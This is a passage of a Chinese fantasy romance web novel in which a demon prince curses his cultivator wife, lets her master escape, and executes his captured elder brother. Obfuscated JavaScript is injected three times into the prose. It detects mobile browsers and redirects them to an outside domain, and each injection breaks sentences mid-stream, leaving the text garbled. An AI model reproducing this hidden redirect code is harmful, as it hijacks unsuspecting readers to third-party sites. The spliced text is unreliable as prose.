岑竹盯着她半晌,眸色阴沉:“怎么,不敢选了?” 那双黑白分明的眼眸终于看向了他,目光清亮:“既然是允我的一条命,那……我选让师父活着。” 她说的果然是他不想听到的那个答案。 温言看出来岑竹确实恨她,恨意长久憋在心头,怎么可能会好受,自然要千刀万剐,百般折磨,才能消解。 他不一定会直接杀了她,但很有可能一刀了结师父和长老们的性命。 她赌即使自己选的是死路,仍然有活下去的可能。 岑竹眼睛微眯,居高临下地审视着她:“你是真的活得不耐烦了,对吗?” 他看到温言眼里并没有坦然赴死的意味,反而充满了他熟悉的算计,但时至今日,他怎么可能还中她的圈套? “既然如此,我成全你。” 岑竹掌中魔力涌动,诡异的线条自温言足底升腾而起,颜色几经变化,最终变成了与他瞳色一般的烟紫色。 缥缈如雾,并无实体,却能画地为牢,将她禁锢其中。 更为奇特的是,黑线会吞噬灵力,灵力越多,黑线越紧密,此消彼长,直至达到一个诡异的平衡。 这些绝不可能是阵法,听说魔域盛产诅咒,她抬头,试探问道:“这些是……诅咒吗?” 岑竹眼睫颤动,并未回答。 反而是站在外圈的一个老魔突然搭腔:“能看出这是诅咒,你倒是有眼光,但少主在你身上的诅咒,却与其他人身上的不同。” 温言一眼看出,他便是方才挡下自己灵力锁链的那个化神期魔修。 如何不同,他倒是并未细说,反而眼珠一转落在岑竹身上,静候他的命令。 岑竹自然说到做到,他不仅吩咐消了尹雪楼的诅咒,还将另外几个长老的一并解了。 情形一下子完全对调。 烟紫色条纹在温言的身上若隐若现,禁锢着她的灵力,限制着她的一举一动。 如今是她成为阶下囚,尹雪楼和与他关在一处的合欢宗的长老反而重获自由。 但即使加诸于身的诅咒消失,被魔兵强硬地拽出笼子,他们也没有立刻离去。 尹雪楼法力恢复,看向温言身上的条纹,眉心微蹙。 温言得偿所愿,反而对他扬唇一笑:“你们先走,不用管我。” 早在被魔兵控制时,尹雪楼就已掂量过敌我双方的实力。 一开始并非是岑竹屠宗。 魔域皇子众多,两名皇子带领的魔军联合进攻合欢宗,魔军队列整齐,配合默契,一看就是有备而来。 先由高阶魔修合力攻击合欢宗的护宗大阵,再由魔兵倾轧而过。台阶上的血迹与断肢都是那时候留下的。 他只来得及抓住护宗大阵抵挡的片刻时间,以最快的速度启动后山禁地中的法阵,不消片刻,护宗大阵便碎了个彻底。 好在绝大部分的合欢宗弟子都已经被传送离开,只剩下驱使传送阵的数人。 魔兵仿佛蝗虫过境一般长驱直入,将剩余的弟子屠戮啃食殆尽。这些弟子或是离得太远,或是修为太低,未能在接到命令后的第一时间赶到后山禁地,就这样成了魔物的口中餐。 尹雪楼他和几位长老为了开启法阵刚刚透支太多的灵力,根本不是骁勇善战的魔兵对手。 魔兵将他们抓住后,用诡异的黑色线条压制他们身上的灵力后扔进了笼中,本以为是必死的结局,没想到却见到了意料之外的人。 岑竹忽然出现,不但认识另外两名皇子,还阻止了他们搜魂。 三人并未谈拢,随后他囚禁了另外两名皇子,并以绝对的武力镇压了一切,如今已经控制住了整个局势。 他是温言的道侣,岑竹。 关在笼中的这段时间,尹雪楼听见守卫的魔兵谈到过,如今岑竹是魔族的小皇子,也就是魔族的五皇子。 他曾经离奇失踪,却又突然返回魔域,如今是被看好的魔主候选人之一。 当初尹雪楼不解,为何温言会选一个资质普通的男修作为任务对象,并真的与他结为道侣。 她并不是会恃强凌弱,随意夺取他人性命之人,更不可能做出趁着对方修为低微,背景干净,就将其作为方便下手的任务目标。 合欢宗被魔兵攻入,摇摇欲坠之际,尹雪楼脑海中某一瞬间曾闪过温言的身影,那时他希望徒弟最好来得再迟一些,至少不会与魔族正面碰上。 没想到她不但来了,当着岑竹的面说他欠自己一命,还要以命换命。 温言当初杀了岑竹,尹雪楼是亲眼看着他死在温言怀里的。 可温言说她杀了他,又救了他。 死而复生这种事已经足够匪夷所思,何况魔族向来多思多疑,并不会相信摆在眼前的答案。 无论那个答案是精心编织的陷阱,还是直白的真相。 他们之间,难有结果。 岑竹脸上笑意不变,看向被放出笼子的一群人在原地踟蹰,耐心重复道:“她让你们先走呢,没听见吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638397|172045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他手中把玩着誓言石的穗子,神色恹恹,显然是有些烦躁了。 魔族的血脉在长久的岁月中日益驳杂,但最顶级的魔功对血脉的要求非常之高,越纯净的魔族血脉,修炼起来越是事半功倍。 岑竹自养魂池醒来后,意外发现自己的血脉有了返祖的征兆,性格也一定程度地受到了影响,虽然才开始修炼顶级功法,并未大成,但由内而外的迫人气势,却已经无形中让人不寒而栗。 再者,还有高境界魔修纷纷立下心魔誓,愿意誓死跟随于他。 如今哪怕是金丹元婴,在他眼中都仿佛蝼蚁,合欢宗这样的中型宗门,其中的掌门与长老还不值得他放在眼里。 岑竹喜怒不定的模样,让人猜不透他的想法。 几个合欢宗长老长须飘飘,年岁已高,有些发怵地拉着尹雪楼,往后退了一步:“小辈好不容易争取来的机会,要把握好,别浪费了。” 尹雪楼被拉扯着,人却未动半分,他定定地看着温言:“你真的想好了?” 温言垂眸:“是的师父。” 她的态度比方才冷硬了许多。 岑竹看着她这副模样,不知为何觉得顺眼多了,心情莫名其妙地好了些,斜睨了他们一眼,催促道:“要走便走,再废话,杀了你们。” 吓得几个长老颤颤巍巍,几乎站立不住,下意识拽紧了尹雪楼的胳膊,语气几近哀求:“掌门,快些走吧……” 尹雪楼面色凝重,眼中闪过一丝不忍。 他不是没想过自爆,只是即使真的破釜沉舟,也未必能伤害到这些魔族。 留得青山在的道理他并非不懂,真的死了,便再无复仇机会,徒儿是在尽力为他们筹谋一线生机。 尹雪楼终是扭过头,化作一团白光,将满目疮痍的合欢宗远远地留在了身后。 直到此刻,岑竹才缓缓转过身来,语气颇为遗憾道:“没想到他们真的把你抛下就这么走了啊,看来修仙界果真情缘淡薄,比不过生死。” 他微笑着捏起温言的下巴,仔细地看她的表情,像是看进了她的心底:“这样的结局,你还满意吗?” 温言心中刚刚落下一块大石,此刻却被这样一句话堵得嗓子紧了起来,眼中晦暗不明。 岑竹放长老们离开,并非网开一面,是为了利用他们牵制住尹雪楼。 长老们以宗门利益为幌子,为了自己活命,逼着尹雪楼放弃玉石俱焚的想法,随他们一齐离开。 很和和美美的大团圆结局,如果代价不是温言的这条命的话。 岑竹将宗门人心的黑暗一面赤裸裸地掀出来给温言看,还要她仔仔细细地看清楚,亲身体验被抛弃的感觉。 宗门的凉薄与岑竹的别有用心。 温言都看得一清二楚。 她并未担忧自己的生死,反而放松了些,轻笑一声:“将我一人留下,魔族少主到底居心何在?” 作为阶下囚却问出这么大胆的话,有的魔族士兵已经蠢蠢欲动,只要岑竹一声令下,就能将温言撕碎。 岑竹却抬手制止了。 他紧紧盯着她的眼睛,声音冷漠且低沉:“自然是要你也尝尽背叛与痛苦,最后绝望地死去,不然如何能消解我心中愤恨。” 既然温言说他欠她一命,那么他就给她一条活路。 可惜她不要。 这样的话,他们之间,便只剩下恨了。 15. 第 15 章 温言注视着环绕周身的线条咒文,问道:“这是什么诅咒?” 她被困在原地动弹不了,至少知道诅咒的名字,才有解开的可能。 岑竹上前一步。伸手碰了碰那些咒文,在触碰的刹那,凌乱线条化为烟紫色的薄雾,依恋地缠绕在他的指尖之上,仿佛一只翩跹的透明蝴蝶。 岑竹唇角挂着一丝若有似无的嘲笑,偏头看她:“你觉得它是什么?” 这是他最近摸索出的全新诅咒,还是从大婚当晚温言绑住自己的那条灵力锁链得到的启发。 魔气与灵气互不相容,相互制衡,能以此方式压制修仙者的灵力,只有诅咒者才能操纵与解咒。 温言隐约觉得这种诅咒有些眼熟。 岑竹适时加了一句:“准确来说,它并不是锁住你的灵力,而是化解你的灵力。” “对了,我给这种诅咒取了个名字,叫做水中月。” 此刻月上中天,清辉如梦。 岑竹在落难前也曾被众星捧月,可兄弟残杀,一朝重伤,他心中充满了不甘与愤恨,再也无法变回以前温良的模样。 而当他坠落的时候,却发现有一轮明月永远高悬夜空。 有一种人就好像天上的明月,浑然不知自己的美好,将光辉撒落人间的千家万户。 他曾经离那轮明月很近,近到让他产生拥明月入怀的奢望,忍不住觊觎,想要占为己有。 水中月,顾名思义,是一碰就碎的幻影。 如今如今虽然触手可及,却又仿佛隔着万水千山。 明月独不照他。 仇恨与靠近的欲望相互交织。当初他有多想要占有那抹月色,如今毁灭的念头就有多么强烈。 岑竹呼吸逐渐颤抖,身体绷得像拉得过满的弓弦,温言的声音在他听着也忽近忽远。 她在问这种诅咒的用途。 知道诅咒的用途就能形成解咒的思路,岑竹明白她在套自己的话。 他自创这样的诅咒,自然是想要将那轮触摸不到的明月一并拉下凡尘,全身沾染淤泥,变成与他一样的人。 一并尝遍他曾经经受过的痛苦与煎熬。 岑竹踏着月色走到温言身前,两人之间仅有一步之遥。 月色朦胧,他的脸色分外阴沉:“你就当做我记仇吧。” 温言自以为是因为大婚之日她用灵力锁链捆了岑竹,他觉得受到了折辱,如今才用这种方式向她报复。 再回神时,岑竹高挺的鼻梁近在咫尺,差点碰到她的鼻尖。 温言呼吸一颤,到但被诅咒束缚着,根本挪动不了步子,只能偏过脸回避岑竹的视线。 最开始遇到岑竹的时候,他还是个纤弱貌美的少年,如今他的气势比从前凌厉了太多,反而让人不敢直视他漂亮得过分的那张脸。 她确实不愿直视这些变化。 岑竹缓缓靠近,将脑袋搁在她的肩上,声音仿佛叹息:“你对我的第一反应,原来是退缩啊。” 他潮热的呼吸喷洒在耳侧,温言忍不住缩了缩肩膀。 却仿佛印证了岑竹方才的话似的。 岑竹眯了眯眼睛,紫瞳愈发幽沉可怖,挥手屏退了周围的军队。 身边的魔军仿佛潮水一般涌入后方的密林之中,化神期的老魔则早已不见踪影,只分了些许神识时刻留意此处的突发状况。 两人之间空间开阔起来,气氛却愈发压抑。 岑竹继续道:“你以前对我的每一次主动大概都是别有所图,为了任务,为了修炼,为了大道。” 但温言并未退缩,眼中光芒反而更明亮了些:“魔族信奉弱肉强食,修仙界信奉大道无情。你顺应你的规则,我也在走我的道,人生在世,本就是为了自己而活。” 她还是这么自我又执拗。 他直视着温言的眼睛,也丝毫不让:“那我呢,你把我放到哪里去了?” 温言哑然:“我……” 她欲言又止的样子激怒了岑竹,心中最为暴戾的情绪在此刻沉默中逐渐弥漫,变成了歇斯底里的破坏欲。 想要看到她哭泣的泪眼,求饶的姿态,还有崩溃的神情,臣服的模样。 岑竹忍不住攥紧了手指,极力压制住自己。 温言踌躇道:“我是否将你放在心上,你很在意?” 岑竹冷冷一笑:“我们之间的道侣契约已成,从此相互牵扯,不死不休,无论你承认与否,都逃避不了。” 温言点头:“我不会逃避,纵使你是魔族,也仍旧是我的夫君。” 她承认两人的道侣关系倒是干脆利落,岑竹心里的暴戾忽然消散了许多。 他往前方轻轻一瞥。 同一时间,密林中的魔族大军忽然骚动了片刻,黑色的铠甲发出些微声响,反射着月色粼光,又往后退避了些许。 几道化神期老魔的神识也稍稍离远了些,虽然轻手轻脚地撤开,却总有些撇清干系,又按捺不住探听八卦的意味。 岑竹拂袖将他们又震远了些。 他没想到会再次听见温言唤自己夫君,心头一阵悸动,但当他将目光转过来与温言眼神相碰时,心忽然就冷了。 温言面色平静,身上依旧流动着烟紫色诅咒,一如既往,看不出任何异常。 没有异常才是最不合理的。 岑竹所创的诅咒“水中月”,本意并非消解修真者的灵气,克制灵力只是魔气的附带作用。 最初他是因为痛恨自己的心软,对自己施加这个诅咒用来自我惩罚的,只要心动,便会心痛,这样才会得到教训。 岑竹用这道诅咒强制自己忘情。 可温言身陷诅咒,却在承认两人的道侣关系时,云淡风轻,无动于衷,连呼吸都丝毫不乱。 诅咒线条由上而下将她缠绕得严严实实,她无法行动自如,但却没有触发“水中月”的真实诅咒。 这一切只指向了一个结果——她并未动情。刚才的那句并不是安抚他的温柔情话,只是一句在她看来既定的事实,不过重复一次罢了。 岑竹一时气血上涌。 就是如此,他才更加恨她。 —— 尹雪楼随众长老行至半途,却忽然减了速度,回身望向凝香山的方向。 合欢宗建于凝香山上,常年四季如春、繁花似锦,远看就仿佛天边一抹粉色的云霞。 可如今大阵被毁,灵力四溢,树木枯败,凝香山上的唯一的红,是年轻弟子的鲜血,也是熊熊燃起的烈火。 各位长老注意到尹雪楼的异常,也一并回身。 “为何停下?” 尹雪楼道出心中所想:“我理解众长老心系宗门,但我要回去救人,望长老们不要拦我。” 长老闻言有些着急,开始劝阻:“你要知道,宗里弟子除了最开始被送走的那些,剩下的几乎都被魔军屠杀殆尽,作为掌门,你要负起门派的责任,不能回去送死!” 在面对魔族时他们唯唯诺诺,如今四下无人,在尹雪楼的面前却俨然端起了长老的架子,行事间不自觉带上了往日的正义与威严。 他的徒儿还在合欢宗,若他真的一走了之,袖手旁观,还有何颜面应她一声师父。 尹雪楼只是在尽一个师父该尽的责任,他不觉得自己有错。 “宗门已毁,我这个掌门也只是徒有其名,墨守成规又有何用,不如做些能做且做得到的事。” 长老心中大骇,指着尹雪楼的枯瘦手指突然颤抖起来,连雪白的胡须都被捋乱了。 “你,你要做什么?” 尹雪楼心意已决,脸上露出一丝释然的笑意,他将自己的状态调整到最佳,往来时的方向掠去。 “去救合欢宗的一线希望。” 当尹雪楼不顾诸位长老劝阻,凭着心意潜回合欢宗后山禁地时,看见温言还好好地站着,并未受伤,心中忍不住舒了一口气。 火光跃动,灯下温言与岑竹相对而立,两人之间的气氛莫名紧张凝滞,不知先前发生了何事。 他思索片刻,通过弟子牌向温言传音。 温言早已感知到岑竹并未隐藏的恨意,理解他恨自己,却不明白他为何忽然情绪波动至此。 正想尽力安抚,却忽然听见脑海中响起熟悉的声音。 她双眼忽然弯起,盈满了细碎的光芒。 师父没有真的将她丢下。 岑竹将她的欣喜看在眼里,眸中寒意几乎凝结,一字一句道:“有人来了,是找你的?” 温言眼中瞬间升起了警惕之色,立刻传音回去:“师父快些走,我有脱身的办法。” 但尹雪楼根本不信。 连元婴修为都左支右绌,难以逃出生天,就算温言已经进阶也只是金丹修为,她能有什么办法。 何况岑竹与她名为道侣,实则更像仇人。 他瞧着岑竹的目光凶狠至极,活像要把温言生吞活剥了,她就该早些离开,远离是非。 想到这里,尹雪楼从阴影中闪出,如巍巍高山般挡住了温言,将她与岑竹隔开。 岑竹上前一步,挑眉道:“师父怎么又回来了,是不放心温言吗?” “可她如今是我的道侣,我自会照顾,不劳您操心了。” 他说话看似恭敬,实则却一点也不客气,言语中攻击性太强,听得尹雪楼忍不住皱眉。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651387|172045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >以为魔族向来残忍好杀,他心性本就如此,反而更加担心温言安危。 虽然此时身边空无一人,但温言知道魔修都守在附近,若有异动,必会打草惊蛇。 她焦急地给尹雪楼暗中传音:“师父,趁着岑竹并未示警,那些魔族老怪一时半刻来不及反应,阻拦不了您,现在脱身还来得及。” 尹雪楼蹙眉,双手合拢,再张开时已祭出本命法宝,霎时间飞沙走石,日月无光。 温言看出他存了与岑竹玉石俱焚的想法,但诅咒在身,身上并无灵力。 她只能狠心将尹雪楼一把推开,从袖中抓出两张用于疾行的高级符箓,往师父后背拍出一掌,顺势将手中两张符箓全都贴了上去。 这一掌虽无灵力,却因符箓疾行作用,将尹雪楼推了很远。 尹雪楼面露讶色,想要转身,却被产生效力的符箓一路推着往空中飞去。 他运行灵力,勉强让自己在半空中停下,才已明白温言方才所言为真。 她有保命的底牌,但为了让他走,已经提前用掉了部分。岑竹已经闪身而上,挡住尹雪楼凝视温言的目光,眨眼间已与他当空过了十几招。 此刻就算想走,也得先解决掉岑竹这个麻烦。 岑竹心高气傲,并未召来其他人,尹雪楼看在眼里,心中下定决心,要将他扼杀于此处。 岑竹刚刚修炼顶级魔功,虽然魔族血脉觉醒后威力显现,但并未练至大成,尹雪楼是元婴修士,虽不敌大乘期老怪,抵挡岑竹并不是难事。 两人斗法过程中,魔功刁钻诡异,尹雪楼接触不多,勉强处于上风,战局一时胶着起来。 云层中却又忽然闪出几个人影,赫然是岑竹刚刚一并放走的几个合欢宗长老。 岑竹骨剑一直未曾出鞘,此刻他剑尖抬起,直视眼前几个碍事的人,唇角笑意逐渐加深。 “看来大家都不想活着离开这里了。” 其中有识时务的长老连连告饶,态度谦卑:“少主饶命,我们这就走。” 岑竹却已经不想跟他们废话。 黑色骨剑出鞘,剑气凛然,其上环绕着浓烈的魔气,锋芒所指之处,有形无影,仿佛暗夜幽冥一般,森冷得让人不寒而栗。 他出剑的速度快得不可思议,仿佛一道掠出的残影。对几个近在咫尺的长老他视而不见,剑尖直指尹雪楼所在之处。 尹雪楼被几个长老连拖带拽,手中法宝还未来得及催动,肩上已被鬼魅般的骨剑刺了进去。 剑尖拔出时只有很轻的一声,血液滴滴答答地落了下去,将雪色衣衫染得鲜血淋漓。 先前温言看着两人在空中交战,心急如焚,如今又见师父受伤,直接高声怒喝,让岑竹住手。 岑竹的身形在半空停顿了一瞬。 也就这片刻的功夫,那些长老见缝插针,强行将尹雪楼带走,同时借着他身上的高阶疾行符箓一并逃之夭夭。 岑竹嗤笑一声,并未追去,落在温言身边时,却看见她的眼眶红了。 他瞬间就慌了。 “你怎么……不对,我,我刚才停手了!” 岑竹轻咳一声,稍微支棱了起来:“那些化神期老怪我都没惊动,如今打成这样,只怪你师父他们太不中用。你若不想他走,我再将他找回来。” 他不敢看温言,只抬手引出磅礴魔气。遮天蔽日的黑色魔气逐渐凝成修长的箭矢形状,离弦一般往方才几人逃遁的方向急速飞去。 触及的瞬间,浓黑如墨的箭矢在黑云中炸开,魔气氤氲,云层里御风的修仙者自其中直直下坠,不知所踪。 岑竹见状挑眉,继续在温言的神经上蹦跶:“你师父应该就在里面,不知道被炸到了什么地方,要不要我让魔兵帮你找找?” 岑竹的话不像询问,更像是威胁,因为在他看来,尹雪楼去而复返还想带走温言,可谓得寸进尺。 温言就是他的雷区,他还敢碰? 温言深吸一口气,缓缓道:“停手吧。” 她飞快抬头看了他一眼,言语急切,生怕他拒绝:“你之前允我一命,现在不许再伤害他!” 岑竹抛下准备许久的诱饵:“之前我让他走了。可如今他回来送死,还要带你走,这要我如何是好?” 温言愣了半天才开口,声音滞涩:“我明白你的目标是我。说吧,你想要我做什么。” 此时他缓缓收网,语调甜蜜温柔:“如今我重回魔域,后宫里添了太多美姬,实在让人心烦。” “不如你跟我一起回去,顺便帮我管管?” 诱饵已经放下,就算她看出来又怎样? 只要她心甘情愿上钩,便足够了。 16. 第 16 章 温言仰头看向那处被炸得乱七八糟的云层,黑灰四处流散,连那处的云头都轰掉了一块,半死不活地悬在天上。 残破地就好像如今的合欢宗。 宗门被灭,弟子四散,掌门生死不明,众长老不知所踪。 她心中一阵闷痛,心知如果不想让事情转向更加糟糕的境地,妥协是最好的选择。 “好,我跟你走。” 岑竹闻言唇角一勾,眼睛眯了眯,罕见地露出一丝真实的笑意。 温言从这个笑里隐约看到了当初少年的影子,但时过境迁,那点熟悉也仿佛隔着茫茫雾气,眨眼间已消失无踪。 一道黑色身影悄然靠近,无声无息地出现在岑竹面前,轻盈地仿佛随风飘下的落叶。 这个魔族身上的服饰温言看着眼熟,认出是直接隶属岑竹的密探,说不定还是当初用禁术破她院中阵法的那一批人里的。 黑影跪下禀报:“主上,大皇子已被活捉,但是三皇子趁乱逃脱,属下在全力抓捕中。” “将他安置在偏殿里严加看管。” 岑竹摩挲着手中剑柄,眸色一沉,很快下了决定。 他还拨了一个化神期老魔协助看管事宜,并吩咐道:“绝不能让三皇子岑枢被营救逃脱,甚至平安回到魔域,明白吗?” 化神期老魔领了差事后,原地消失,去看管新抓的特殊犯人。 岑竹收回视线,看着跪在地上的密探,眼神冷酷:“三皇子逃脱之事我暂不追究,但接下来,你们要不计代价将他活捉回。” “若是捉到就算将功抵过。否则……” 兄弟相残的戏码早已上演,目前正处于争夺魔主之位的关键时刻,无人会对旁人手下留情。 若是这次行动让三皇子岑枢逃出生天,不但以后再难有接近和下手的机会,还会引起更猛烈的反击与扑杀。 这次行动要干净利落,就不能留下任何活口。 密探神色一凛:“属下明白了。”随后带着无数漆黑身影四散入夜幕之中。 这注定是个无人入眠的夜晚。 岑竹的威胁仿佛悬在他们头上的刀刃,在生死存亡的压力下,密探寻人的效率比平时高了几倍,只两个时辰便将三皇子抓获。 自从温言答应随岑竹走,岑竹从未让她离开过自己的视线,之前关押犯人的笼子直接成了摆设。 岑竹从后山禁地回到了正殿处理事务,也把她一并带了过来,一直到半夜密探汇报情况的时候,她都还在旁边。 温言下意识想要回避,毕竟魔族之间的皇子相残是魔族的内务。 可岑竹似笑非笑地扣住了她的手,问她:“怎么,不敢听吗?” 温言才没有不敢听。 反正现在她的命被岑竹拿捏在手里,于是她就这么往边上椅子上坐了,一副支着额头有些困倦的样子。 在温言看来其实魔族手下都挺好用的,让做什么便做什么,从不质疑。 只不过据她观察魔族仿佛都是轴性子,在他们眼里,主上的命令是比性命还要重要的事情,只要下令就必须得遵守,哪怕命令过于严苛,也只会将罪责揽在自己身上。 密探汇报得有些战战兢兢。 昨日他们带着魔兵好不容易在山崖下发现了披着月色慌张逃跑的三皇子,喜不自禁,连忙抓紧机会部署,动手抓人。 最后三皇子的确抓到了,却没防住他在最后关头发出的求救信号。 他们垂头丧气地带着三皇子回来向岑竹复命,心中忐忑,不知道还能不能将功抵过。 没想到主上却勾了勾唇,夸他们做得漂亮。 岑竹将两个被抓获的兄长一并关在同一间偏殿,几乎将身边的精锐都派了过去,整个偏殿都被主上打造成一个有来无回的诱饵,坦然地开着偏殿大门诱人前来。 夜深人静,偏殿之内却灯火通明,期间引来了无数拨营救的死士,可惜岑竹让他们进来,就没打算再放走,但凡闯入之人全都死得无声无息。 一个不留。 直到天色将明,岑竹带着温言踏出正殿,一并往偏殿的方向走去。 他用“水中月”咒术缠着她,却又用大批魔兵保护着她,还命令她寸步不离,这样的待遇不像他口中所说的阶下囚,反而像是座上宾。 温言越是往前走,越是震惊,还未靠近偏殿处,空中的血腥味丝丝缕缕地传出,伴着低沉喑哑的咆哮声, 她捂住了口鼻,心中莫名烦躁起来。 等到随着岑竹一齐迈入偏殿,看守的魔兵魔将几乎厮杀了一夜,天明后他们身上的漆黑甲胄全是斑驳血迹,唯余锋利的刀刃浇灌了无数鲜血,雪亮依旧。 偏殿内血流成河,腥气冲天。 温言压抑着因眼前的冲击景象产生的情绪波动,垂眸掩饰掉所有情绪,她知道自己只是个阶下囚,做好囚犯的样子便可。 岑竹大步迈入殿中,双眸含笑,看起来心情舒畅,纵使一夜未眠也显得神采飞扬。 他靠近冰冷牢固的囚笼,愉悦地同里面两人打了个招呼:“大哥、三哥近日可好?” 与岑竹的愉悦相比,囚笼内的人长发散乱,衣衫褴褛,仿佛乞丐。 听见岑竹的声音,他们一前一后缓缓抬头,阴鸷的眼神死死锁住了岑竹,像是要将他的样貌永远记住。 这样困兽般的眼神温言也曾见过,在荒山的山脚下,茂盛的草药边,她救下岑竹时,他也是这样的表情。 一模一样的求生的、不甘心的表情,眼中燃烧着要将天地融化的执念。 岑竹显然也陷入了往日的回忆,不过失神一瞬,立刻又笑意盈盈,将刻骨的仇恨全都藏在温柔面具的后面。 “多日不见,兄长们是不认识我了吗,怎么眼神这么陌生?” 大皇子岑御仰起头狠狠啐了他一口:“是认不出了,没想到五弟手段如此了得,如今将我们关在此处,意欲何为?” 最开始他被岑竹打了个措手不及关押起来时,仍是觉得岑竹狐假虎威,只不过利用自己重伤之事引得魔主的注意,顺带索要些补偿。 这种手段和后宫的嫔妃一样,上不得台面,也做不成大事,令人不齿。 没想到他们带魔兵前往修真界的消息走漏了风声。 刚灭了几个中小型宗门,算是吃了几道开胃小菜,还未过瘾,便合计着再灭几个宗门。 按着距离魔域远近的顺序,下一个就是凝香山。 他们如往常一般破了合欢宗的护山大阵,发现这里不但风景秀美,而且无论男修还是女修更是美貌动人,不禁摩拳擦掌,心痒难耐。 大阵很快被击碎,大批魔军涌入其中开始烧杀抢掠,灵石宝物倒是寻得不少,但之前透过大阵见到的美貌弟子却不知去向,余下的都是修为尚浅的外门弟子与杂役。 岑御看不上,挥手让魔兵杀了。 后来发现绝大部分内门弟子都被一个奇异的阵法瞬间转移了出去,等他们赶到法阵波动之处,只发现一个耗空了灵石的硕大法阵,一个白衣银发的中年男子和一群糟老头。 岑御兴致盎然地寻来,却得到这么个结果,命令手下搜魂,却被当场现身的岑竹叫停。 其实岑竹早就远远地缀着他们,一直并未现身,直至看到尹雪楼快被搜魂,才出手阻止。 这个举动倒是让岑御有些意外。 在他的印象中,最小的兄弟从小含着金汤匙长大,心性温良,不知世间险恶。 上次他联合岑枢对岑竹下手,若是顺利杀死岑竹,刚好合他的心意;若是失手,权当做大哥的给岑竹长了个教训,让他知道人心难测。 没想到岑竹被抬进养魂池后还有命出来。 更没想到的是他大难不死还不知道夹着尾巴做人,转头就敢跑到自己面前彰显存在感了,不但制止他们搜魂,让两人平白损失了无数本该到手的美貌姬妾,还一声不吭就对他们动手。 岑御被岑竹打了个措手不及,当场被捉住。他身旁的岑枢倒颇有心机与手段,眼疾手快地抓了个近侍做挡箭牌,顺利逃脱。 没想到夜半时分偏殿牢笼中又关进来一人,岑御定睛一看,赫然是先前逃之夭夭的岑枢。 可真是造化弄人。 岑竹垂眸看着两位困兽一样的兄长,眼中仿佛仍带着昔日的一点天真之意,却又多了些沉甸甸的意味,让人看不真切。 岑御胸口的怒意再也压抑不住:“我带的人都被你杀了,魔兵也被你收入麾下,你到底想做什么?” 笼中的岑枢也皱了眉头,死了这么多少手下,足以看出岑竹的狠绝,也许从一开始,事情就已脱离了他们的掌控。 岑竹笑得如春风拂面,眼神却仍深如寒潭,让人不敢探究。 岑御满脸不屑:“你是我们中年纪最小的,修为也是最差的一个,今日倒是有胆量对我们动手。” 温言在心中叹息,这位岑御大皇子可能不太清楚自己的处境,还以为岑竹是个软绵可欺的兔子呢。 岑竹不以为然:“当初我这么差的修为还被你们如此忌惮,甚至想要除掉我,不正说明你们忌惮我,认为我有可能与你们一较高下,甚至抢了你们的位置吗?” 他将一切点破,殿内反而沉寂了一瞬。 岑竹语气轻松:“对了,忘了告诉你们,如今我血脉返祖,已经开始修炼最高阶的魔族功法了。” 岑御一向自傲,想也不想就立刻反驳:“不可能,你定是修炼了什么邪功。” 岑竹笑而不语,掌心魔力涌动,凝聚成无数漆黑的箭矢,朝着岑御的方向蓄势待发。 岑御双眼瞪大,连呼吸都停滞了一瞬。是惊的,也是吓的。 岑竹神色自若地收起箭矢:“现在呢?” 魔气化物是高阶魔族功法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672531|172045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的标志,岑御就算千万个不信,现在也不得不信了。 那今天的一切,到底是他们的急功近利,太过冒进,还是说钻进了岑竹所设下的圈套? 岑御不敢细想,甚至有些万念俱灰。 岑竹泰然自若地坐在殿内正中的椅子上,座椅宽大而华丽,周围由尸山血海点缀,他的目光落在笼子与笼内的人上,一动不动。 “两位兄长这就无话可说了吗?真是让人心寒啊。” 岑枢深吸一口气:“将我们放了,一切还有的商量。” 岑竹微笑道:“其实我将兄长们请来只是为了一件事,当初你们对我没做完的事,这回,我想做完。” 岑御轻嗤一声:“当初的事连魔主都放下了,你还想计较不成?” 岑竹面无表情地从腰间抽出黑色骨剑,动作行云流水,无声无息地刺向了岑御的魔魂,而后用力一搅,将那处震碎。 若他偏要计较,又有何不可? 脆弱的魔魂霎时四分五裂,被泛着绿色微光的幽冥之火烧成了飞灰。 堪称挫骨扬灰,没留下一丁点复活的可能。 岑竹似笑非笑地看了温言一眼,笑容讽刺意味十足,甚至有些挑衅。 若温言当时也这样杀了他,他根本不可能死而复生。 温言自修仙以来,只对岑竹最为亏欠,此刻只能默不作声,降低自己的一切存在感。 一直默不作声的岑枢见状猛地后退几步,差点倒在笼子铁栏上,简直不敢相信自己的眼睛。 岑竹从岑御身上抽回骨剑,拎着滴答着鲜血的剑柄往岑枢的方向走了两步,笑得人畜无害,却仿佛修罗厉鬼:“现在轮到你了,三哥。” 岑枢以为躲得远些就能不被骨剑所伤。 